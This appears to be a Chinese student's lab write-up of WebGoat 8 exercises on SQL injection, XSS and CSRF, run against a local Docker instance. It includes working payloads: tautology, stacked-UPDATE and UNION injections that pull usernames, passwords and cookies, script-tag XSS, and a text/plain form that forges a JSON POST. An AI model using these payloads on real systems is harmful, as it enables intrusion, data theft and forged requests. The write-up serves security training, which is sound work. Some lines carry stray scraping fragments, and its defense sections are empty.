本實踐的目標是理解經常使用網絡攻擊技術的基本原理,作很多於7個題目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat實踐下相關實驗。html
docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -t webgoat/webgoat-8.0
在瀏覽器中輸入 http://localhost:8080/WebGoat
進入登陸界面web
AND
優先於 OR
運算,因此前面部分不管是什麼,最終都是一個0/1,只須要OR上一個true,最終就是true正則表達式
如 "SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'"
,能夠將 lastName
設爲 ' order '1'='1
,這樣數據庫就會執行 SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '' or '1'='1'
,從而將整個表的內容暴露出來sql
''
包裹,因此更簡單,直接傳入相似 1 or 1=1
的參數;
號後面能夠接一條新的 sql
語句,並執行咱們先在 Auth
一欄輸入 '1 or '1' = '1
,發現能夠查詢出結果docker
那麼存在 String injection
,也就是說 sql
語句中的參數是被 ''
號包裹的數據庫
改變本身的工資,咱們須要使用 update
語句,而且由上一點可知咱們須要用 '
號結束上一個參數json
AUTH
一欄填入 3SL99A';update employees set salary=1000000 where last_name='Smith
c#
union
的使用sql
語句的 union
能夠合併兩個查詢結果,有一個結果爲空並不影響咱們得到另外一個結果這道題以下跨域
CREATE TABLE user_data (userid int not null, first_name varchar(20), last_name varchar(20), cc_number varchar(30), cc_type varchar(10), cookie varchar(20), login_count int);
CREATE TABLE user_system_data (userid int not null primary key, user_name varchar(12), password varchar(10), cookie varchar(30));
咱們須要經過上一個表聯查出下一個表中的內容瀏覽器
可是兩個表的列數並不同,因此咱們須要用 null
填充不夠的列數
這道題咱們不知道任何的用戶名,可是咱們能夠經過
' union select userid, user_name, password, cookie, null, null, null from user_system_data --
來聯查出表中數據
題目
點擊 UpdateCart
按鈕,能夠看到 信用卡號
被寫到了頁面上
能夠猜到這裏存在 xss
,輸入 <script>alert("20175210")</script>
,提交
F12
打開控制檯,刷新頁面,咱們能夠看到初始化路由的信息
點擊右邊的 GoatRouter.js
,查看初始化路由的代碼
咱們能夠發現一段路由匹配的代碼
能夠看到,lesson/:name/:pageNum
正匹配咱們當前頁面的路由 lesson/CrossSiteScripting.lesson/9
,那麼,咱們能夠猜想,test/:param
匹配的是測試代碼
再加上「根路由」 start.mvc#
,能夠獲得結果,start.mvc#/test
webgoat
函數題目提示利用上一題的結果,咱們先試一試上一題的測試路由
能夠看到直接回顯到頁面上了,所以能夠考慮用 <script></script>
標籤包裹
使用 <script>webgoat.customjs.phoneHome()</script>
,可是沒有獲得任何結果!
查看頁面元素,我發現此時並無向頁面插入任何內容,我也不清楚是爲何
我開始各類猜,最後發現使用不閉合的 <script>
成功執行
使用 <script>webgoat.customjs.phoneHome()
控制檯中輸出咱們想要的隨機數,提交
題目是讓咱們向 /csrf/feedback/message
這個地址 post
一個 json
格式的信息
然而,Content-Type
的值爲 application/json
時存在跨域請求的問題,服務器只會接收來自相同域名的請求。咱們能夠嘗試下面的腳本:
<html> <body> <script > fetch("http://localhost:8080/WebGoat/csrf/feedback/message", { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: {'name': 'WebGoat', 'email': 'webgoat@webgoat.org', 'content': 'WebGoat is the best!!'} }); </script> </html>
服務器會報 ‘Cross-Origin Request Blocked’
錯誤
因此,咱們須要把 json data
轉爲 text data
,發起簡單請求 (application/x-www-form-urlencoded、multipart/form-data、text/plain
)
使用如下腳本:
<html> <body> <form action=http://localhost:8000/WebGoat/csrf/feedback/message method=post enctype="text/plain" > <input name= ' {"name": "WebGoat", "email": "webgoat@webgoat.org", "content": "WebGoat is the best!!", "ignore_me":" ' value='test"}' type='hidden'> <input type='submit' value='Submit'> </form> </body> </html>
將 json
數據做爲 文本數據
傳給服務器,獲得結果
原理: 經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
防護:
原理: XSS 攻擊,一般指黑客經過 HTML 注入 篡改網頁,插入惡意腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊行爲。在這種行爲最初出現之時,全部的演示案例全是跨域行爲,因此叫作 "跨站腳本"
防護:
原理: CSRF(Cross site request forgery),即跨站請求僞造。咱們知道XSS是跨站腳本攻擊,就是在用戶的瀏覽器中執行攻擊者的腳本,來得到其cookie等信息。而CSRF確實,借用用戶的身份,向web server發送請求,由於該請求不是用戶本意,因此稱爲「跨站請求僞造」。
防護:
對 CSRF
有了更深的理解